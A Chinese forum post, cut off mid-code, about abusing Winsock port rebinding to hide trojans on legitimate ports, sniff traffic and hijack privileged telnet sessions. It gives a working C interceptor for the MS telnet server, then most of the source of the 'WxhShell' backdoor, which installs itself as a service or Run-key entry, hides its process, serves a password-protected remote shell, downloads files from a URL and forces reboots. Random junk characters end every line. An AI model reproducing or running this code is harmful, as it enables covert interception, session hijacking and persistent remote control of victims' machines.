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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ZbrE m  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P\AH9#XL  
@\h(s#sn  
  saddr.sin_family = AF_INET; Ue8D:C M  
E^YbyJ=1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z8!u6odu %  
_@p|A  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ' " tieew  
d+;wDu   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {+[gf:Ev  
 qN QsU  
  这意味着什么?意味着可以进行如下的攻击: [T%blaSX  
@TprS d  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =B:poh[u  
wMUnZHd{|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) C\; 8l}t  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 C49 G&  
sXa8(xc  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  64vSJx>u  
yT n@p(J  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 b910Z?B^L  
bpx=&74,6m  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 KCT8Q!\  
G;m"ao"2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ul%bo%&~  
l xfdJNb  
  #include #TWc` 8  
  #include nGbrWu]w  
  #include sy?>e*-{  
  #include    !kcg#+s91  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .'a|St  
  int main() mr1}e VM~!  
  { y|dXxd9  
  WORD wVersionRequested; mqHt%RX  
  DWORD ret; Z:v1?v  
  WSADATA wsaData; _UBI,Dg]  
  BOOL val; '=H^m D+gl  
  SOCKADDR_IN saddr; qck/b  
  SOCKADDR_IN scaddr; +B m+Pj>  
  int err; @ 7?_Yw  
  SOCKET s; )1vojp 4Za  
  SOCKET sc; o W[,EW+u  
  int caddsize; &rl>{Uvq  
  HANDLE mt; $Y`aS^IW  
  DWORD tid;   U. aa iX7  
  wVersionRequested = MAKEWORD( 2, 2 ); *X\c $ =*  
  err = WSAStartup( wVersionRequested, &wsaData ); W.|6$hRl)  
  if ( err != 0 ) { LasH[:QQQ  
  printf("error!WSAStartup failed!\n"); [86'/:L\2  
  return -1; ;SW-dfo2i  
  } pt R  
  saddr.sin_family = AF_INET; ;Kf|a}m-  
   %RN-J*s]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ay_D.gxz  
hNle;&*F  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *r`Yz}  
  saddr.sin_port = htons(23); 9NP l]iA)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Tv$7aVi!  
  { 'oz = {;  
  printf("error!socket failed!\n"); YfPo"uxx  
  return -1;  IR LPUP  
  } E(tBN]W.  
  val = TRUE; )sf~l6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 'y?|shV{]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Uot-@|l  
  { .=yus[,~  
  printf("error!setsockopt failed!\n"); 8zC k9&  
  return -1; m GhJn  
  } &-fx=gq=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Jg:-TK/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mx9/K+:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7LwS =yP  
pQ 6#L  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) f~FehN7  
  { `t1$Ew<  
  ret=GetLastError(); b8.%?_?  
  printf("error!bind failed!\n"); YfwJBz D  
  return -1; #mhD; .Wg  
  } Qs9U&*L  
  listen(s,2); rk/ c  
  while(1) EYxRw  
  { 5}xni  
  caddsize = sizeof(scaddr); xacLlX+  
  //接受连接请求 #/Fu*0/)`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wYA/<0'yH  
  if(sc!=INVALID_SOCKET) Yp]G)}'R  
  { Pp_3 n yQ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); nb_^3K]r  
  if(mt==NULL) 2<G1'7)  
  { q|X4[E|{Q  
  printf("Thread Creat Failed!\n"); nV3 7` I  
  break; L~{Vt~H9"  
  } Qe$>Jv5  
  } !>< %\K  
  CloseHandle(mt); r ` &|)Hx  
  } yim$y, =d  
  closesocket(s); 50ew/fZj|  
  WSACleanup(); aNC,ccm  
  return 0; :bRR(sP  
  }   ph?0I: eU  
  DWORD WINAPI ClientThread(LPVOID lpParam) <cv1$ x ~P  
  { 3DAGW"F  
  SOCKET ss = (SOCKET)lpParam; 6KCmswvE  
  SOCKET sc; `Kw"XGT  
  unsigned char buf[4096]; 4E-A@FR  
  SOCKADDR_IN saddr; *ZR@ z80i  
  long num; AaYrVf 9!  
  DWORD val; YC&jKx.>  
  DWORD ret; g0j4<\F2\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 g]<Z]R`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   OgN1{vRFx  
  saddr.sin_family = AF_INET; L4pjh&+8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =O#AOw`  
  saddr.sin_port = htons(23); rz }l<t~H  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0BB @E(*  
  { rm=~^eB  
  printf("error!socket failed!\n"); :{s%=\k {d  
  return -1; {!1n5a3" 1  
  } g!p_c  
  val = 100; G;HlII9x[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2c~?UK[1  
  { ^i+ z_%V  
  ret = GetLastError();  g1wI/  
  return -1; kbYg4t]FH  
  } L-C/Luws  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4A/,X>W61  
  { ]jVSsSv  
  ret = GetLastError(); bp>ps@zFq  
  return -1; ; G59}d p~  
  } ^ wF@6e7/&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Q^Z<RA(C  
  { ?>.g;3E$  
  printf("error!socket connect failed!\n"); 9LEilmPs  
  closesocket(sc); id tQXwa  
  closesocket(ss); te*Y]-&I|/  
  return -1; <,pLW~2-"  
  } C6'*/wq  
  while(1) 8gtCY~m  
  { 3.<6;?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 G#n^@kc*,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Sd\IGy{a  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K-EI?6`xM  
  num = recv(ss,buf,4096,0); @yn^6cE  
  if(num>0) 4 ?@uF[  
  send(sc,buf,num,0); (L0 hS'  
  else if(num==0) _%Jl&0%q  
  break; UI<PNQvo9  
  num = recv(sc,buf,4096,0); n E,gQHw  
  if(num>0) 6Sb'Otw.  
  send(ss,buf,num,0); Ef`5fgp? S  
  else if(num==0) sK 1m9  
  break; [B ~zoB(  
  } L.0} UXd  
  closesocket(ss); :Q r7:$S^  
  closesocket(sc); P"=UI$HN  
  return 0 ; a4jnu:e  
  } KBr5bcm4u  
Wt+y-ES  
cUZ!;*  
========================================================== loC5o|Wh  
7c29Ua~[  
下边附上一个代码,,WXhSHELL E7yf[/it  
N^Hn9n  
========================================================== B) *#g  
}&(E#*>x  
#include "stdafx.h" EK8E  
Q Bfhyo_  
#include <stdio.h> 64!ame}n+  
#include <string.h> W\>^[c/  
#include <windows.h> HhWwc#B  
#include <winsock2.h> ?|">),  
#include <winsvc.h> }+dM1O  
#include <urlmon.h> O& 3r*vd  
A)RI:?+  
#pragma comment (lib, "Ws2_32.lib") X&9^&U=e  
#pragma comment (lib, "urlmon.lib") b>bgUDq  
uq|vNLW26  
#define MAX_USER   100 // 最大客户端连接数 Lov.E3S6;  
#define BUF_SOCK   200 // sock buffer KO-Zz&2f  
#define KEY_BUFF   255 // 输入 buffer z[5Y Z~}*  
8L7Y A)u  
#define REBOOT     0   // 重启 V/(`Ek-  
#define SHUTDOWN   1   // 关机 {(M&-~Yh  
Lz9$,Y[  
#define DEF_PORT   5000 // 监听端口 ~Q_)>|R2  
*X=@yB*aK  
#define REG_LEN     16   // 注册表键长度 L,L ~ .E  
#define SVC_LEN     80   // NT服务名长度 r;cI}'  
m6_~`)R8  
// 从dll定义API Ko$ $dkSE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *h*j%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); NoJnchiU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &h7smZO5j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _@#uIOcE  
_OJ0 < {E  
// wxhshell配置信息 >}<29Ii  
struct WSCFG { |t&G&)~:  
  int ws_port;         // 监听端口 0NCOz(L/  
  char ws_passstr[REG_LEN]; // 口令 bl" (<TM  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3@PUg(M  
  char ws_regname[REG_LEN]; // 注册表键名 +p9LE4g7Q  
  char ws_svcname[REG_LEN]; // 服务名 U^[cYTG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,30FGz^i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #.E\,N'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 24H^ hN9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B_SZ?o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @tr&R==([  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |TB@@ 2Ky&  
)g9)IF  
}; $PatHY@h  
'w`SBYQ5  
// default Wxhshell configuration X+dR<GN+YX  
struct WSCFG wscfg={DEF_PORT, ;g: UE  
    "xuhuanlingzhe", l~]hGLviJE  
    1, [Krm .)  
    "Wxhshell", t4f (Y,v  
    "Wxhshell", Vqa5RVnI  
            "WxhShell Service", U{T[*s  
    "Wrsky Windows CmdShell Service", >W`S(a Mn  
    "Please Input Your Password: ", ~rgf{oGz  
  1, WZ^{zFoZ  
  "http://www.wrsky.com/wxhshell.exe", Y|%anTP  
  "Wxhshell.exe" $i,6B9  
    }; q Z8|B  
G0I~&?nDa  
// 消息定义模块 r/mA2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a&$Zpf!!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =@xN(] (  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J 6(~>g  
char *msg_ws_ext="\n\rExit."; l5FuMk-  
char *msg_ws_end="\n\rQuit."; K-2.E  
char *msg_ws_boot="\n\rReboot..."; BW'L.*2  
char *msg_ws_poff="\n\rShutdown..."; qpb/g6g  
char *msg_ws_down="\n\rSave to "; cm@jt\D  
]$m#1Kj  
char *msg_ws_err="\n\rErr!"; " Sc5qG  
char *msg_ws_ok="\n\rOK!"; Y3vX)D}  
1YJ_1VJ  
char ExeFile[MAX_PATH]; DNm(:%)0  
int nUser = 0; u iBl#J Q  
HANDLE handles[MAX_USER]; |7svA<<[  
int OsIsNt; BCBEX&0hk{  
\ V[;t-  
SERVICE_STATUS       serviceStatus; t2=a(N-/,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p//T7r s  
a$C2}  
// 函数声明 %==G+S{  
int Install(void); N7e`6d!  
int Uninstall(void); ~gu=x&{  
int DownloadFile(char *sURL, SOCKET wsh); I*^5'N'  
int Boot(int flag); 44\!PYf7  
void HideProc(void); 6N9 c<JC  
int GetOsVer(void); ]YCPyc:  
int Wxhshell(SOCKET wsl); W*YxBn4  
void TalkWithClient(void *cs); lemVP'cn  
int CmdShell(SOCKET sock); &}vR(y*#c  
int StartFromService(void); h7bPAW=(  
int StartWxhshell(LPSTR lpCmdLine); 8 ne/=N|,  
gO+\O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~c9>Nr9|`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f"vk# 3  
v2Dt3$@H6  
// 数据结构和表定义 8{R&EijC  
SERVICE_TABLE_ENTRY DispatchTable[] = ?TIV2m^?  
{ w?kGi>7E  
{wscfg.ws_svcname, NTServiceMain}, [dl+:P:zc  
{NULL, NULL} F(d:t!  
}; PXV)NC  
ETM2p1 ru0  
// 自我安装 8$\Za,)g  
int Install(void) 6tOCZ'f  
{ r)gCTV(kb  
  char svExeFile[MAX_PATH]; hdo&\Q2D8  
  HKEY key; 7e1dEgn  
  strcpy(svExeFile,ExeFile); z<a$q3!#  
I`22Zwq:  
// 如果是win9x系统,修改注册表设为自启动 T36x=LX  
if(!OsIsNt) { 8QT<M]N%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ITVQLQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }x]&L/  
  RegCloseKey(key); ypH8QfxLTr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B9YsA?hg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9*4 .  
  RegCloseKey(key); *dN N<  
  return 0; q^5yk=2fq  
    } :d.1;st  
  } uaiz*Im  
} <x0)7xX  
else { @!e~G'j%VD  
O]t\B *%}  
// 如果是NT以上系统,安装为系统服务 27m@|M] R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C`)_i3 ^  
if (schSCManager!=0) b 8>q;  
{ fb23J|"  
  SC_HANDLE schService = CreateService t\zbEN  
  ( 7skljw(  
  schSCManager, ZT6V/MD7T.  
  wscfg.ws_svcname, 0x\2 #i  
  wscfg.ws_svcdisp, 7!p LK&_  
  SERVICE_ALL_ACCESS, @@Q6TB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [q1Unm  
  SERVICE_AUTO_START, }g>kpa0c  
  SERVICE_ERROR_NORMAL, Y=E9zUF  
  svExeFile, \SOeTn+  
  NULL, S`=n&'  
  NULL, hd5$yU5JQ  
  NULL, "qawq0P8Z  
  NULL, 7Re-5vz R  
  NULL w#&z]O9r  
  ); COSTV>s;  
  if (schService!=0) FY8!g'.Oe  
  { b vRB  
  CloseServiceHandle(schService); gY!N3 *:  
  CloseServiceHandle(schSCManager); L=RGL+f1 _  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _%{0?|=  
  strcat(svExeFile,wscfg.ws_svcname); %%&e"&7HE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z$|;-u|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B52yaG8C  
  RegCloseKey(key); )B;M  
  return 0; +oZH?N4yaM  
    } b0 &  
  } KnJx{8@z  
  CloseServiceHandle(schSCManager); C`NmZwL  
} +i.u< T  
} r!kLV)_  
B!}BM}r  
return 1; ?eV_ACpZ8  
} @ .gPJMA  
=2%VZE7Vm  
// 自我卸载 $e BQH  
int Uninstall(void) 9OyNi  
{ Q.A \U>AgV  
  HKEY key; 0 _A23.Y  
H -,TS^W  
if(!OsIsNt) { Iyyo3awc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0/Z !5-.  
  RegDeleteValue(key,wscfg.ws_regname); IE;\7 r+h  
  RegCloseKey(key); Qs l80~n_7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |n`PESf_  
  RegDeleteValue(key,wscfg.ws_regname); 8}BS2C%P  
  RegCloseKey(key); |gv{z"  
  return 0; Efx=T$%^&  
  } FaY_ 0G;y  
} \0?$wIH?  
} pDn&V(  
else { ,[X_]e;  
J4>;[\%m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K(VW%hV1  
if (schSCManager!=0) d2~l4IL)~  
{ XQ?fJWLU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \GL*0NJ  
  if (schService!=0) b+{r! D}~  
  { \}#@9=  
  if(DeleteService(schService)!=0) { zTY;8r+  
  CloseServiceHandle(schService); mj2Pk,,SA  
  CloseServiceHandle(schSCManager); Nqc p1J"  
  return 0; 8KMv Ac  
  } ETfF5i}  
  CloseServiceHandle(schService); <6jFKA<  
  } CZ(`|;BC*  
  CloseServiceHandle(schSCManager); :Fe_,[FR  
} _ie.|4k  
} *5D3vB*S  
xE1'&!4O  
return 1; Fp%Ln(/m  
} AnMV <  
dZ]Rqr _!  
// 从指定url下载文件 %dW%o{  
int DownloadFile(char *sURL, SOCKET wsh) |4mVT&63(  
{ "3}<8 c  
  HRESULT hr; aSL6zye ,  
char seps[]= "/"; $UvPo0{  
char *token; vtyx`F f  
char *file; "^Rv#  
char myURL[MAX_PATH]; YQd:M%$  
char myFILE[MAX_PATH]; wL3,g2-L  
$a(`ve|  
strcpy(myURL,sURL); 1~\M!SQ)  
  token=strtok(myURL,seps); |m;L?)F<  
  while(token!=NULL) ER^QV(IvP8  
  { xu\eXx6H  
    file=token; n]yEdL/1  
  token=strtok(NULL,seps); ashar&'  
  } x[i`S8D  
PeTA$Yl  
GetCurrentDirectory(MAX_PATH,myFILE); e2w&&B-  
strcat(myFILE, "\\"); H}ZQ?uK;  
strcat(myFILE, file); |V|+lx'sc  
  send(wsh,myFILE,strlen(myFILE),0); %3o`j<  
send(wsh,"...",3,0); =&vFVIhWcf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q \O Ou  
  if(hr==S_OK) !SxG(*u  
return 0; & mt)d  
else vt1lR5  
return 1; !{Z~<Ky  
LFf`K)q  
} QyGnDomQ  
<9eu1^g  
// 系统电源模块 zT#`qCbT'J  
int Boot(int flag) : ]WqfR)#  
{ Zu/<NC (  
  HANDLE hToken; +Qj(B@ i  
  TOKEN_PRIVILEGES tkp; F)Oe9x\/  
[6tSYUZs  
  if(OsIsNt) { %j+xgX/&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :P+\p=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :a0zT#u  
    tkp.PrivilegeCount = 1; lAi2,bz"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "G?Yrh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d 6t:hn  
if(flag==REBOOT) { 9P WY52!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gfgn68k  
  return 0; cWLqU  
} BVpO#c~I  
else { MX|H}+\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9Q.#\  
  return 0; 'V&Y[7Aeq  
} 09h.1/  
  } ST dNM\+  
  else { ~Z)/RT/  
if(flag==REBOOT) { GTl xq%?b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w$fJ4+  
  return 0; zpjqEEY;  
} =#xK=pRy;  
else { e0HfP v_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F0lOlS   
  return 0; F]+~x/!  
} j/!H$0PN  
} q(IQa@$SR  
H/fUM  
return 1; ]$b2a&r9  
} *rh,"Zo  
s:>\/[*>0c  
// win9x进程隐藏模块 #& ?g %'  
void HideProc(void) Jkt4@h2Q}  
{ 6iA( o*'Yn  
"Cz<d w]D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "TOa=Tt{,  
  if ( hKernel != NULL ) kg97S  
  { :iF%cy.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,,4 GNbBC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |`/TBQz:r  
    FreeLibrary(hKernel); #0Ds'pE-  
  } 9Ul(GI(  
yxWO [ Z  
return; ec3<%+0f  
} ;2xO`[#  
SPkn 3D6  
// 获取操作系统版本 5*-3? <)e  
int GetOsVer(void) K9Hqq7"%  
{ 2?q(cpsN  
  OSVERSIONINFO winfo;  ti@kKz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~@W*r5/  
  GetVersionEx(&winfo); Kg\R+i@#<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {w6/[ -^  
  return 1; `Ityi}  
  else U9hS<}<Ki  
  return 0; ]/X(V|t  
} p *w$:L  
eD?3"!c!  
// 客户端句柄模块 @OpNHQat9  
int Wxhshell(SOCKET wsl) /0MDISQy9  
{ *# {z3{+  
  SOCKET wsh; R:aa+MX(1  
  struct sockaddr_in client; V^s0fWa  
  DWORD myID; gb|Q%LS9R  
=n(3o$r(  
  while(nUser<MAX_USER) TI|/u$SJ<Z  
{ PJ4(}a  
  int nSize=sizeof(client); @~td`Z?1 y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *Mc7f?H  
  if(wsh==INVALID_SOCKET) return 1; w8Sv*K  
\*t~==WB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y"g.IK`V  
if(handles[nUser]==0) ,F6=b/eZ  
  closesocket(wsh); Fg]?zEa  
else sBX-X$*N  
  nUser++; ^Q<mV*~  
  } Wi. 5Y{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t<iEj"5  
X;F8_+Np  
  return 0; I^\&y(LJF  
} 08bJCH  
R"v 3!P  
// 关闭 socket nk"NmIf  
void CloseIt(SOCKET wsh) (rtY!<|p  
{ |OO in]5  
closesocket(wsh); *jq7X  
nUser--; oPf)be| #  
ExitThread(0); KL,/2 (  
} _*M42<wcO  
9p* gU[  
// 客户端请求句柄 HvwYm.$zE  
void TalkWithClient(void *cs) `mfq 2bVc  
{ /UcV  
iSLGwTdLn  
  SOCKET wsh=(SOCKET)cs; ,i9Byx#TN  
  char pwd[SVC_LEN]; . 5y"38e  
  char cmd[KEY_BUFF]; ZzGahtx)Y  
char chr[1]; y m,H@~  
int i,j; iRo.RU8>  
;h=*!7:  
  while (nUser < MAX_USER) { #FOqP!p.E  
Cs3^9m6;d  
if(wscfg.ws_passstr) { y;cUl, :v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zdl%iop3e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); = {'pUU  
  //ZeroMemory(pwd,KEY_BUFF); 3\O|ii  
      i=0; .jw}JJ  
  while(i<SVC_LEN) { {]*x*aa\  
rHge~nY<  
  // 设置超时 J@pb[OL,  
  fd_set FdRead; ( lm&*tKm  
  struct timeval TimeOut; sb_oD{+gW  
  FD_ZERO(&FdRead); lT&wOm3  
  FD_SET(wsh,&FdRead); L WoG4s?w  
  TimeOut.tv_sec=8; h5_G4J{1  
  TimeOut.tv_usec=0; 0-Y:v(|.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +yob)%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %sBAl.!BN  
&.13dq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MB ju![n  
  pwd=chr[0]; j1q[2'  
  if(chr[0]==0xd || chr[0]==0xa) { s.Y4pWd5@  
  pwd=0; 'n QVj  
  break; 7tM9u5FF  
  } sZWaV4  
  i++; =WdaxjenZ/  
    } [S]S^ej*8  
tY${M^^<J  
  // 如果是非法用户,关闭 socket vr^~yEr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qLL,F  
} [H\:pP8t  
54;J8XT7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WL,&-*JAW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rB~W Iu  
YYEJph@06q  
while(1) { %=AxJp!a  
WO4=Mte?  
  ZeroMemory(cmd,KEY_BUFF); Z v_.na/^K  
c}*2$1  
      // 自动支持客户端 telnet标准   %D$,;{ew  
  j=0; V-I(WzR9y  
  while(j<KEY_BUFF) { kd:$oS_*s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c3*t_!@oC  
  cmd[j]=chr[0]; SKuIF*"! S  
  if(chr[0]==0xa || chr[0]==0xd) { )0vU k  
  cmd[j]=0; /iNa'W5\  
  break; mME 4 l  
  } n~V4nj&_T  
  j++; 1(zsOeX  
    } H7U li]e3  
(6CN/A{qe  
  // 下载文件 E9|eu\  
  if(strstr(cmd,"http://")) { n,HE0Zn]Y_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OH^N" L  
  if(DownloadFile(cmd,wsh)) <e]Oa$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q+ KzIde|%  
  else "LYh7:0s!k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R3)57OyV  
  } [XRCLi}  
  else { l+V,DCE  
QVF]Ci_=  
    switch(cmd[0]) { "Td`AuP@,  
  4nH*Ui!T  
  // 帮助 8(.mt/MR  
  case '?': { R+q"_90_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P1b'%  
    break; &mj6rIz  
  } h mx= 35  
  // 安装 9][(Iu]h7  
  case 'i': { qmTb-~  
    if(Install()) YSJy`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F/m^?{==~*  
    else -LDCBc"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *#%9Rp2|  
    break; PkE5|d*,  
    } SvN9aD1  
  // 卸载 _LAS~x7,  
  case 'r': { HkV1sT  
    if(Uninstall()) IX: 25CEI2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2)#K+O3c  
    else 8Y0"Cejq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~^u16z,  
    break; Wk:hFHs3  
    } E_F5(x SA  
  // 显示 wxhshell 所在路径 }R3=fbe,\  
  case 'p': { nJRS.xs  
    char svExeFile[MAX_PATH]; mS#zraJn5  
    strcpy(svExeFile,"\n\r"); ccCzu6  
      strcat(svExeFile,ExeFile); %N;!+ ;F_g  
        send(wsh,svExeFile,strlen(svExeFile),0); Tmh(= TB'  
    break; a$"ib  
    } 87 }&`  
  // 重启 fP3_d  
  case 'b': { 6:U$w7P0 e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =ji1S}e~p  
    if(Boot(REBOOT)) lP Lz@Up~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _|72r} j  
    else { 2f U$J>Y  
    closesocket(wsh); !zPG? q]3  
    ExitThread(0); "dR |[a<#g  
    } $M_x!f'{>  
    break; |/g W_;(  
    } -~eJn'W  
  // 关机 mcz+ P |  
  case 'd': { f:g,_|JD$  
